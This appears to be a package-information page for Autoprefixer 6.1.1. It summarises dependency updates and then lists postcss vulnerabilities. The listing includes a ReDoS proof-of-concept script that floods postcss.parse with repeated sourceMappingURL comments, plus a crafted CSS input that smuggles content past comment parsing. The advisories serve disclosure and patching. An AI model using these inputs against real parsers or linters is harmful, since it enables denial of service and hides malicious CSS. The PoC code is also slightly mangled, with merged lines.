Autoprefixer version 6.1.1 is a minor release following version 6.1.0, designed to automatically add vendor prefixes to CSS rules, ensuring compatibility across different browsers based on data from the "Can I Use" website. The core functionality remains consistent between the two versions, focusing on streamlining CSS development by handling browser compatibility concerns.
Key differences lie in updated dependency versions, reflecting ongoing improvements and bug fixes within the ecosystem. Most notably, autoprefixer@6.1.1 upgrades postcss from ^5.0.10 to ^5.0.12, caniuse-db from ^1.0.30000359 to ^1.0.30000367, and postcss-value-parser from ^3.1.1 to ^3.1.2. For developers, these updates generally translate to enhanced parsing accuracy, improved browser support data, and potential performance gains stemming from underlying postcss improvements. The update also includes bumping gulp-eslint from 1.0.0 to 1.1.0 and gulp-mocha from 2.1.3 to 2.2.0.
While the core API remains stable, developers should be aware of the updated dependency requirements, particularly if they have strict versioning policies in their projects. The caniuse-db update is especially important as it ensures Autoprefixer leverages the latest browser compatibility data, leading to more accurate and comprehensive prefixing. The release date difference indicates a relatively short interval between the two versions, suggesting that 6.1.1 likely addresses specific issues or incorporates minor enhancements identified shortly after the release of 6.1.0.
All the vulnerabilities related to the version 6.1.1 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.